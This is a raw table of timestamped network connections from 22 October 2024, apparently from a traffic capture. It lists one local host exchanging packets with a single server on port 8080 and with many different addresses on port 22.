Oct 22, 2024 18:10:19.842886925 CEST	35796	22	192.168.2.13	170.132.206.7
Oct 22, 2024 18:10:19.842886925 CEST	35796	22	192.168.2.13	170.132.206.7
Oct 22, 2024 18:10:19.845906973 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:19.846046925 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:19.846626997 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:19.848401070 CEST	22	35796	170.132.206.7	192.168.2.13
Oct 22, 2024 18:10:19.851949930 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.159748077 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.159810066 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.160654068 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.166369915 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.190411091 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.196065903 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.405029058 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:20.405419111 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:20.493387938 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.493457079 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.493680954 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.499030113 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.805214882 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.805912971 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.805912971 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.811288118 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.812335014 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.812385082 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.824354887 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.829900980 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:20.830029011 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.830071926 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:20.836268902 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:21.687633991 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:21.687829971 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:21.690129042 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:21.695539951 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:21.868264914 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:21.868443012 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:21.868875027 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:21.874214888 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:22.180638075 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:22.181032896 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:22.181724072 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:22.187386990 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:22.188527107 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:22.193998098 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:22.407269001 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:22.407432079 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:22.493678093 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:22.494111061 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:22.499581099 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.662642002 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.662957907 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.663229942 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.663230896 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.663230896 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.664474010 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.664520979 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.669120073 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.669893026 CEST	22	33718	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.669950008 CEST	33718	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.670347929 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.675735950 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.675791979 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.675832033 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:23.681267977 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:23.692152977 CEST	22	54218	170.100.149.57	192.168.2.13
Oct 22, 2024 18:10:23.692650080 CEST	54218	22	192.168.2.13	170.100.149.57
Oct 22, 2024 18:10:23.698003054 CEST	22	54218	170.100.149.57	192.168.2.13
Oct 22, 2024 18:10:23.700063944 CEST	22	34222	170.171.15.34	192.168.2.13
Oct 22, 2024 18:10:23.700516939 CEST	34222	22	192.168.2.13	170.171.15.34
Oct 22, 2024 18:10:23.705967903 CEST	22	34222	170.171.15.34	192.168.2.13
Oct 22, 2024 18:10:23.721787930 CEST	22	43988	170.170.53.114	192.168.2.13
Oct 22, 2024 18:10:23.722191095 CEST	43988	22	192.168.2.13	170.170.53.114
Oct 22, 2024 18:10:23.723011017 CEST	22	60866	170.57.193.7	192.168.2.13
Oct 22, 2024 18:10:23.723838091 CEST	60866	22	192.168.2.13	170.57.193.7
Oct 22, 2024 18:10:23.726772070 CEST	22	35754	170.101.182.155	192.168.2.13
Oct 22, 2024 18:10:23.727206945 CEST	35754	22	192.168.2.13	170.101.182.155
Oct 22, 2024 18:10:23.727618933 CEST	22	43988	170.170.53.114	192.168.2.13
Oct 22, 2024 18:10:23.729429960 CEST	22	60866	170.57.193.7	192.168.2.13
Oct 22, 2024 18:10:23.733344078 CEST	22	35754	170.101.182.155	192.168.2.13
Oct 22, 2024 18:10:23.741621017 CEST	22	33898	170.164.179.246	192.168.2.13
Oct 22, 2024 18:10:23.742253065 CEST	33898	22	192.168.2.13	170.164.179.246
Oct 22, 2024 18:10:23.747737885 CEST	22	33898	170.164.179.246	192.168.2.13
Oct 22, 2024 18:10:23.755794048 CEST	22	38580	170.117.24.184	192.168.2.13
Oct 22, 2024 18:10:23.756002903 CEST	38580	22	192.168.2.13	170.117.24.184
Oct 22, 2024 18:10:23.756211042 CEST	38580	22	192.168.2.13	170.117.24.184
Oct 22, 2024 18:10:23.761615038 CEST	22	38580	170.117.24.184	192.168.2.13
Oct 22, 2024 18:10:23.817991972 CEST	22	44528	170.248.202.2	192.168.2.13
Oct 22, 2024 18:10:23.818351984 CEST	44528	22	192.168.2.13	170.248.202.2
Oct 22, 2024 18:10:23.818521976 CEST	22	59092	170.11.158.252	192.168.2.13
Oct 22, 2024 18:10:23.818954945 CEST	22	47394	170.175.91.234	192.168.2.13
Oct 22, 2024 18:10:23.819284916 CEST	47394	22	192.168.2.13	170.175.91.234
Oct 22, 2024 18:10:23.819993019 CEST	59092	22	192.168.2.13	170.11.158.252
Oct 22, 2024 18:10:23.819993973 CEST	59092	22	192.168.2.13	170.11.158.252
Oct 22, 2024 18:10:23.821975946 CEST	22	43360	170.95.200.204	192.168.2.13
Oct 22, 2024 18:10:23.822252035 CEST	22	37966	170.36.13.92	192.168.2.13
Oct 22, 2024 18:10:23.823040009 CEST	43360	22	192.168.2.13	170.95.200.204
Oct 22, 2024 18:10:23.823384047 CEST	37966	22	192.168.2.13	170.36.13.92
Oct 22, 2024 18:10:23.823730946 CEST	22	44528	170.248.202.2	192.168.2.13
Oct 22, 2024 18:10:23.824964046 CEST	22	47394	170.175.91.234	192.168.2.13
Oct 22, 2024 18:10:23.826128960 CEST	22	59092	170.11.158.252	192.168.2.13
Oct 22, 2024 18:10:23.828445911 CEST	22	43360	170.95.200.204	192.168.2.13
Oct 22, 2024 18:10:23.828862906 CEST	22	37966	170.36.13.92	192.168.2.13
Oct 22, 2024 18:10:23.852180004 CEST	22	37960	170.61.103.111	192.168.2.13
Oct 22, 2024 18:10:23.852248907 CEST	22	54766	170.145.2.99	192.168.2.13
Oct 22, 2024 18:10:23.852654934 CEST	54766	22	192.168.2.13	170.145.2.99
Oct 22, 2024 18:10:23.853207111 CEST	37960	22	192.168.2.13	170.61.103.111
Oct 22, 2024 18:10:23.858443975 CEST	22	54766	170.145.2.99	192.168.2.13
Oct 22, 2024 18:10:23.858663082 CEST	22	37960	170.61.103.111	192.168.2.13
Oct 22, 2024 18:10:23.858788013 CEST	22	33384	170.226.224.83	192.168.2.13
Oct 22, 2024 18:10:23.859138966 CEST	33384	22	192.168.2.13	170.226.224.83
Oct 22, 2024 18:10:23.864581108 CEST	22	33384	170.226.224.83	192.168.2.13
Oct 22, 2024 18:10:23.879261017 CEST	22	58700	170.85.58.71	192.168.2.13
Oct 22, 2024 18:10:23.879846096 CEST	58700	22	192.168.2.13	170.85.58.71
Oct 22, 2024 18:10:23.885267973 CEST	22	58700	170.85.58.71	192.168.2.13
Oct 22, 2024 18:10:23.897366047 CEST	22	60032	170.91.247.225	192.168.2.13
Oct 22, 2024 18:10:23.897736073 CEST	60032	22	192.168.2.13	170.91.247.225
Oct 22, 2024 18:10:23.903330088 CEST	22	60032	170.91.247.225	192.168.2.13
Oct 22, 2024 18:10:23.935412884 CEST	22	55248	170.148.247.197	192.168.2.13
Oct 22, 2024 18:10:23.935813904 CEST	55248	22	192.168.2.13	170.148.247.197
Oct 22, 2024 18:10:23.941379070 CEST	22	55248	170.148.247.197	192.168.2.13
Oct 22, 2024 18:10:23.949348927 CEST	22	42924	170.92.43.246	192.168.2.13
Oct 22, 2024 18:10:23.949732065 CEST	42924	22	192.168.2.13	170.92.43.246
Oct 22, 2024 18:10:23.955180883 CEST	22	42924	170.92.43.246	192.168.2.13
Oct 22, 2024 18:10:23.956404924 CEST	22	43974	170.172.121.235	192.168.2.13
Oct 22, 2024 18:10:23.956965923 CEST	43974	22	192.168.2.13	170.172.121.235
Oct 22, 2024 18:10:23.962446928 CEST	22	43974	170.172.121.235	192.168.2.13
Oct 22, 2024 18:10:23.967175007 CEST	22	49602	170.131.193.150	192.168.2.13
Oct 22, 2024 18:10:23.967540026 CEST	49602	22	192.168.2.13	170.131.193.150
Oct 22, 2024 18:10:23.972973108 CEST	22	49602	170.131.193.150	192.168.2.13
Oct 22, 2024 18:10:23.982238054 CEST	22	52264	170.116.33.191	192.168.2.13
Oct 22, 2024 18:10:23.982578993 CEST	52264	22	192.168.2.13	170.116.33.191
Oct 22, 2024 18:10:23.988084078 CEST	22	52264	170.116.33.191	192.168.2.13
Oct 22, 2024 18:10:23.993068933 CEST	22	55826	170.203.115.246	192.168.2.13
Oct 22, 2024 18:10:23.993398905 CEST	55826	22	192.168.2.13	170.203.115.246
Oct 22, 2024 18:10:23.998368979 CEST	22	49016	170.22.108.72	192.168.2.13
Oct 22, 2024 18:10:23.998706102 CEST	22	55826	170.203.115.246	192.168.2.13
Oct 22, 2024 18:10:23.999975920 CEST	49016	22	192.168.2.13	170.22.108.72
Oct 22, 2024 18:10:24.003353119 CEST	49016	22	192.168.2.13	170.22.108.72
Oct 22, 2024 18:10:24.008924007 CEST	22	49016	170.22.108.72	192.168.2.13
Oct 22, 2024 18:10:24.021253109 CEST	22	46176	170.153.44.0	192.168.2.13
Oct 22, 2024 18:10:24.021799088 CEST	46176	22	192.168.2.13	170.153.44.0
Oct 22, 2024 18:10:24.027307987 CEST	22	46176	170.153.44.0	192.168.2.13
Oct 22, 2024 18:10:24.036029100 CEST	22	60528	170.171.28.151	192.168.2.13
Oct 22, 2024 18:10:24.036478996 CEST	60528	22	192.168.2.13	170.171.28.151
Oct 22, 2024 18:10:24.038420916 CEST	22	44424	170.2.29.103	192.168.2.13
Oct 22, 2024 18:10:24.038850069 CEST	44424	22	192.168.2.13	170.2.29.103
Oct 22, 2024 18:10:24.042100906 CEST	22	60528	170.171.28.151	192.168.2.13
Oct 22, 2024 18:10:24.043761015 CEST	22	48428	170.234.237.227	192.168.2.13
Oct 22, 2024 18:10:24.044096947 CEST	48428	22	192.168.2.13	170.234.237.227
Oct 22, 2024 18:10:24.044223070 CEST	22	44424	170.2.29.103	192.168.2.13
Oct 22, 2024 18:10:24.049684048 CEST	22	48428	170.234.237.227	192.168.2.13
Oct 22, 2024 18:10:24.052062035 CEST	22	52180	170.137.44.87	192.168.2.13
Oct 22, 2024 18:10:24.052875042 CEST	52180	22	192.168.2.13	170.137.44.87
Oct 22, 2024 18:10:24.058273077 CEST	22	52180	170.137.44.87	192.168.2.13
Oct 22, 2024 18:10:24.073421955 CEST	22	57892	170.160.140.118	192.168.2.13
Oct 22, 2024 18:10:24.073808908 CEST	57892	22	192.168.2.13	170.160.140.118
Oct 22, 2024 18:10:24.080753088 CEST	22	57892	170.160.140.118	192.168.2.13
Oct 22, 2024 18:10:24.083890915 CEST	22	49372	170.169.238.170	192.168.2.13
Oct 22, 2024 18:10:24.085587025 CEST	49372	22	192.168.2.13	170.169.238.170
Oct 22, 2024 18:10:24.091001987 CEST	22	49372	170.169.238.170	192.168.2.13
Oct 22, 2024 18:10:24.104754925 CEST	22	33132	170.223.54.94	192.168.2.13
Oct 22, 2024 18:10:24.105128050 CEST	33132	22	192.168.2.13	170.223.54.94
Oct 22, 2024 18:10:24.106359005 CEST	22	57982	170.155.142.187	192.168.2.13
Oct 22, 2024 18:10:24.106736898 CEST	57982	22	192.168.2.13	170.155.142.187
Oct 22, 2024 18:10:24.110946894 CEST	22	33132	170.223.54.94	192.168.2.13
Oct 22, 2024 18:10:24.112508059 CEST	22	57982	170.155.142.187	192.168.2.13
Oct 22, 2024 18:10:24.143311024 CEST	22	33632	170.165.189.213	192.168.2.13
Oct 22, 2024 18:10:24.143812895 CEST	33632	22	192.168.2.13	170.165.189.213
Oct 22, 2024 18:10:24.147886992 CEST	22	38224	170.62.149.106	192.168.2.13
Oct 22, 2024 18:10:24.148328066 CEST	38224	22	192.168.2.13	170.62.149.106
Oct 22, 2024 18:10:24.149137020 CEST	22	51298	170.243.26.23	192.168.2.13
Oct 22, 2024 18:10:24.149358988 CEST	22	33632	170.165.189.213	192.168.2.13
Oct 22, 2024 18:10:24.149521112 CEST	51298	22	192.168.2.13	170.243.26.23
Oct 22, 2024 18:10:24.153822899 CEST	22	38224	170.62.149.106	192.168.2.13
Oct 22, 2024 18:10:24.154972076 CEST	22	51298	170.243.26.23	192.168.2.13
Oct 22, 2024 18:10:24.166196108 CEST	22	34150	170.102.242.28	192.168.2.13
Oct 22, 2024 18:10:24.166701078 CEST	34150	22	192.168.2.13	170.102.242.28
Oct 22, 2024 18:10:24.172430992 CEST	22	34150	170.102.242.28	192.168.2.13
Oct 22, 2024 18:10:24.197427034 CEST	22	59542	170.198.165.56	192.168.2.13
Oct 22, 2024 18:10:24.197813988 CEST	59542	22	192.168.2.13	170.198.165.56
Oct 22, 2024 18:10:24.203167915 CEST	22	59542	170.198.165.56	192.168.2.13
Oct 22, 2024 18:10:24.206569910 CEST	22	45070	170.118.23.94	192.168.2.13
Oct 22, 2024 18:10:24.206931114 CEST	45070	22	192.168.2.13	170.118.23.94
Oct 22, 2024 18:10:24.212487936 CEST	22	45070	170.118.23.94	192.168.2.13
Oct 22, 2024 18:10:24.213381052 CEST	22	51308	170.208.3.249	192.168.2.13
Oct 22, 2024 18:10:24.213819981 CEST	51308	22	192.168.2.13	170.208.3.249
Oct 22, 2024 18:10:24.219434977 CEST	22	51308	170.208.3.249	192.168.2.13
Oct 22, 2024 18:10:24.242944002 CEST	22	35896	170.176.79.214	192.168.2.13
Oct 22, 2024 18:10:24.243482113 CEST	22	34588	170.130.24.6	192.168.2.13
Oct 22, 2024 18:10:24.243536949 CEST	35896	22	192.168.2.13	170.176.79.214
Oct 22, 2024 18:10:24.243982077 CEST	34588	22	192.168.2.13	170.130.24.6
Oct 22, 2024 18:10:24.244225025 CEST	34588	22	192.168.2.13	170.130.24.6
Oct 22, 2024 18:10:24.249058008 CEST	22	35896	170.176.79.214	192.168.2.13
Oct 22, 2024 18:10:24.249670982 CEST	22	34588	170.130.24.6	192.168.2.13
Oct 22, 2024 18:10:24.251913071 CEST	22	43430	170.197.234.71	192.168.2.13
Oct 22, 2024 18:10:24.252260923 CEST	43430	22	192.168.2.13	170.197.234.71
Oct 22, 2024 18:10:24.253381968 CEST	22	35810	170.216.147.190	192.168.2.13
Oct 22, 2024 18:10:24.255019903 CEST	35810	22	192.168.2.13	170.216.147.190
Oct 22, 2024 18:10:24.257601976 CEST	22	43430	170.197.234.71	192.168.2.13
Oct 22, 2024 18:10:24.260344982 CEST	22	35810	170.216.147.190	192.168.2.13
Oct 22, 2024 18:10:24.277417898 CEST	22	50570	170.181.57.134	192.168.2.13
Oct 22, 2024 18:10:24.277847052 CEST	50570	22	192.168.2.13	170.181.57.134
Oct 22, 2024 18:10:24.283204079 CEST	22	50570	170.181.57.134	192.168.2.13
Oct 22, 2024 18:10:24.287472963 CEST	22	36370	170.113.88.98	192.168.2.13
Oct 22, 2024 18:10:24.287961006 CEST	36370	22	192.168.2.13	170.113.88.98
Oct 22, 2024 18:10:24.288212061 CEST	36370	22	192.168.2.13	170.113.88.98
Oct 22, 2024 18:10:24.293847084 CEST	22	36370	170.113.88.98	192.168.2.13
Oct 22, 2024 18:10:24.308813095 CEST	22	34350	170.197.199.160	192.168.2.13
Oct 22, 2024 18:10:24.309159994 CEST	34350	22	192.168.2.13	170.197.199.160
Oct 22, 2024 18:10:24.309925079 CEST	22	52030	170.70.55.166	192.168.2.13
Oct 22, 2024 18:10:24.311557055 CEST	52030	22	192.168.2.13	170.70.55.166
Oct 22, 2024 18:10:24.314538956 CEST	22	34350	170.197.199.160	192.168.2.13
Oct 22, 2024 18:10:24.317070961 CEST	22	52030	170.70.55.166	192.168.2.13
Oct 22, 2024 18:10:24.359915018 CEST	22	32812	170.13.28.92	192.168.2.13
Oct 22, 2024 18:10:24.360102892 CEST	22	59192	170.15.57.226	192.168.2.13
Oct 22, 2024 18:10:24.360346079 CEST	32812	22	192.168.2.13	170.13.28.92
Oct 22, 2024 18:10:24.361969948 CEST	59192	22	192.168.2.13	170.15.57.226
Oct 22, 2024 18:10:24.365739107 CEST	22	32812	170.13.28.92	192.168.2.13
Oct 22, 2024 18:10:24.367921114 CEST	22	59192	170.15.57.226	192.168.2.13
Oct 22, 2024 18:10:24.372838974 CEST	22	53064	170.10.33.33	192.168.2.13
Oct 22, 2024 18:10:24.373891115 CEST	53064	22	192.168.2.13	170.10.33.33
Oct 22, 2024 18:10:24.379194021 CEST	22	53064	170.10.33.33	192.168.2.13
Oct 22, 2024 18:10:24.382216930 CEST	22	57642	170.209.16.77	192.168.2.13
Oct 22, 2024 18:10:24.382596970 CEST	57642	22	192.168.2.13	170.209.16.77
Oct 22, 2024 18:10:24.388066053 CEST	22	57642	170.209.16.77	192.168.2.13
Oct 22, 2024 18:10:24.397638083 CEST	22	49910	170.9.37.40	192.168.2.13
Oct 22, 2024 18:10:24.398003101 CEST	49910	22	192.168.2.13	170.9.37.40
Oct 22, 2024 18:10:24.403330088 CEST	22	49910	170.9.37.40	192.168.2.13
Oct 22, 2024 18:10:24.410398006 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:24.410459995 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:24.416719913 CEST	22	45694	170.75.184.135	192.168.2.13
Oct 22, 2024 18:10:24.417036057 CEST	45694	22	192.168.2.13	170.75.184.135
Oct 22, 2024 18:10:24.422597885 CEST	22	45694	170.75.184.135	192.168.2.13
Oct 22, 2024 18:10:24.426374912 CEST	22	52964	170.143.114.154	192.168.2.13
Oct 22, 2024 18:10:24.426877022 CEST	52964	22	192.168.2.13	170.143.114.154
Oct 22, 2024 18:10:24.432198048 CEST	22	52964	170.143.114.154	192.168.2.13
Oct 22, 2024 18:10:24.485440969 CEST	22	39784	170.145.90.27	192.168.2.13
Oct 22, 2024 18:10:24.485810995 CEST	39784	22	192.168.2.13	170.145.90.27
Oct 22, 2024 18:10:24.488034964 CEST	22	34718	170.178.181.55	192.168.2.13
Oct 22, 2024 18:10:24.489456892 CEST	34718	22	192.168.2.13	170.178.181.55
Oct 22, 2024 18:10:24.491282940 CEST	22	39784	170.145.90.27	192.168.2.13
Oct 22, 2024 18:10:24.494342089 CEST	22	57570	170.55.91.117	192.168.2.13
Oct 22, 2024 18:10:24.494656086 CEST	57570	22	192.168.2.13	170.55.91.117
Oct 22, 2024 18:10:24.495038986 CEST	22	34718	170.178.181.55	192.168.2.13
Oct 22, 2024 18:10:24.495956898 CEST	22	53814	170.132.252.182	192.168.2.13
Oct 22, 2024 18:10:24.496872902 CEST	53814	22	192.168.2.13	170.132.252.182
Oct 22, 2024 18:10:24.500086069 CEST	22	57570	170.55.91.117	192.168.2.13
Oct 22, 2024 18:10:24.502340078 CEST	22	53814	170.132.252.182	192.168.2.13
Oct 22, 2024 18:10:24.534521103 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:24.534595966 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:24.603148937 CEST	22	50430	170.130.113.232	192.168.2.13
Oct 22, 2024 18:10:24.603538990 CEST	50430	22	192.168.2.13	170.130.113.232
Oct 22, 2024 18:10:24.608874083 CEST	22	50430	170.130.113.232	192.168.2.13
Oct 22, 2024 18:10:24.717976093 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:24.718053102 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:24.789427996 CEST	22	34478	170.170.172.163	192.168.2.13
Oct 22, 2024 18:10:24.790075064 CEST	34478	22	192.168.2.13	170.170.172.163
Oct 22, 2024 18:10:24.796675920 CEST	22	34478	170.170.172.163	192.168.2.13
Oct 22, 2024 18:10:24.875845909 CEST	22	32932	170.21.94.92	192.168.2.13
Oct 22, 2024 18:10:24.876066923 CEST	32932	22	192.168.2.13	170.21.94.92
Oct 22, 2024 18:10:24.876411915 CEST	32932	22	192.168.2.13	170.21.94.92
Oct 22, 2024 18:10:24.881736040 CEST	22	32932	170.21.94.92	192.168.2.13
Oct 22, 2024 18:10:24.881824017 CEST	22	55582	170.83.93.72	192.168.2.13
Oct 22, 2024 18:10:24.882663965 CEST	55582	22	192.168.2.13	170.83.93.72
Oct 22, 2024 18:10:24.888000965 CEST	22	55582	170.83.93.72	192.168.2.13
Oct 22, 2024 18:10:24.901344061 CEST	22	56088	170.212.24.175	192.168.2.13
Oct 22, 2024 18:10:24.901702881 CEST	56088	22	192.168.2.13	170.212.24.175
Oct 22, 2024 18:10:24.907088041 CEST	22	56088	170.212.24.175	192.168.2.13
Oct 22, 2024 18:10:25.029951096 CEST	22	56798	170.200.123.21	192.168.2.13
Oct 22, 2024 18:10:25.030339003 CEST	56798	22	192.168.2.13	170.200.123.21
Oct 22, 2024 18:10:25.035639048 CEST	22	56798	170.200.123.21	192.168.2.13
Oct 22, 2024 18:10:25.118794918 CEST	22	52530	170.239.50.132	192.168.2.13
Oct 22, 2024 18:10:25.120537043 CEST	52530	22	192.168.2.13	170.239.50.132
Oct 22, 2024 18:10:25.125902891 CEST	22	52530	170.239.50.132	192.168.2.13
Oct 22, 2024 18:10:25.328947067 CEST	22	36148	170.219.201.209	192.168.2.13
Oct 22, 2024 18:10:25.329324007 CEST	36148	22	192.168.2.13	170.219.201.209
Oct 22, 2024 18:10:25.335030079 CEST	22	36148	170.219.201.209	192.168.2.13
Oct 22, 2024 18:10:26.143110991 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.148936033 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:26.149008989 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.154412985 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:26.415365934 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:26.415704012 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:26.468381882 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:26.468529940 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.469945908 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.475342989 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:26.634812117 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.635210991 CEST	22	57688	170.46.142.3	192.168.2.13
Oct 22, 2024 18:10:26.635759115 CEST	57688	22	192.168.2.13	170.46.142.3
Oct 22, 2024 18:10:26.639050961 CEST	22	42848	170.172.149.200	192.168.2.13
Oct 22, 2024 18:10:26.639219046 CEST	22	37486	170.88.235.187	192.168.2.13
Oct 22, 2024 18:10:26.639252901 CEST	22	44830	170.180.231.3	192.168.2.13
Oct 22, 2024 18:10:26.639453888 CEST	22	40090	170.144.49.68	192.168.2.13
Oct 22, 2024 18:10:26.639564991 CEST	22	33030	170.129.9.251	192.168.2.13
Oct 22, 2024 18:10:26.639619112 CEST	44830	22	192.168.2.13	170.180.231.3
Oct 22, 2024 18:10:26.639643908 CEST	22	59854	170.36.206.235	192.168.2.13
Oct 22, 2024 18:10:26.639874935 CEST	33030	22	192.168.2.13	170.129.9.251
Oct 22, 2024 18:10:26.639883041 CEST	22	60316	170.85.45.213	192.168.2.13
Oct 22, 2024 18:10:26.639955044 CEST	22	44520	170.1.14.163	192.168.2.13
Oct 22, 2024 18:10:26.639974117 CEST	40090	22	192.168.2.13	170.144.49.68
Oct 22, 2024 18:10:26.639974117 CEST	59854	22	192.168.2.13	170.36.206.235
Oct 22, 2024 18:10:26.639976025 CEST	60316	22	192.168.2.13	170.85.45.213
Oct 22, 2024 18:10:26.639976025 CEST	37486	22	192.168.2.13	170.88.235.187
Oct 22, 2024 18:10:26.639976025 CEST	42848	22	192.168.2.13	170.172.149.200
Oct 22, 2024 18:10:26.640199900 CEST	22	57440	170.17.42.30	192.168.2.13
Oct 22, 2024 18:10:26.640227079 CEST	59854	22	192.168.2.13	170.36.206.235
Oct 22, 2024 18:10:26.640290976 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:26.640825987 CEST	22	37342	170.174.220.54	192.168.2.13
Oct 22, 2024 18:10:26.641096115 CEST	22	57532	170.61.111.74	192.168.2.13
Oct 22, 2024 18:10:26.641272068 CEST	37486	22	192.168.2.13	170.88.235.187
Oct 22, 2024 18:10:26.641460896 CEST	37342	22	192.168.2.13	170.174.220.54
Oct 22, 2024 18:10:26.643584967 CEST	60316	22	192.168.2.13	170.85.45.213
Oct 22, 2024 18:10:26.643964052 CEST	57532	22	192.168.2.13	170.61.111.74
Oct 22, 2024 18:10:26.643975973 CEST	57440	22	192.168.2.13	170.17.42.30
Oct 22, 2024 18:10:26.643974066 CEST	44520	22	192.168.2.13	170.1.14.163
Oct 22, 2024 18:10:26.645522118 CEST	22	57688	170.46.142.3	192.168.2.13
Oct 22, 2024 18:10:26.645555019 CEST	22	33924	170.93.24.200	192.168.2.13
Oct 22, 2024 18:10:26.645586014 CEST	22	48648	170.213.207.25	192.168.2.13
Oct 22, 2024 18:10:26.645615101 CEST	22	49278	170.200.164.116	192.168.2.13
Oct 22, 2024 18:10:26.645642996 CEST	22	34446	170.98.11.19	192.168.2.13
Oct 22, 2024 18:10:26.645673037 CEST	22	44904	170.162.37.102	192.168.2.13
Oct 22, 2024 18:10:26.645701885 CEST	22	54424	170.201.244.137	192.168.2.13
Oct 22, 2024 18:10:26.645730972 CEST	22	45144	170.188.246.201	192.168.2.13
Oct 22, 2024 18:10:26.645759106 CEST	22	55852	170.75.195.250	192.168.2.13
Oct 22, 2024 18:10:26.645787001 CEST	22	44830	170.180.231.3	192.168.2.13
Oct 22, 2024 18:10:26.645814896 CEST	22	33030	170.129.9.251	192.168.2.13
Oct 22, 2024 18:10:26.645867109 CEST	22	59854	170.36.206.235	192.168.2.13
Oct 22, 2024 18:10:26.645915985 CEST	44520	22	192.168.2.13	170.1.14.163
Oct 22, 2024 18:10:26.646322966 CEST	22	56810	170.8.225.73	192.168.2.13
Oct 22, 2024 18:10:26.646353960 CEST	22	51802	170.116.205.196	192.168.2.13
Oct 22, 2024 18:10:26.646370888 CEST	48648	22	192.168.2.13	170.213.207.25
Oct 22, 2024 18:10:26.646384001 CEST	22	59558	170.203.95.101	192.168.2.13
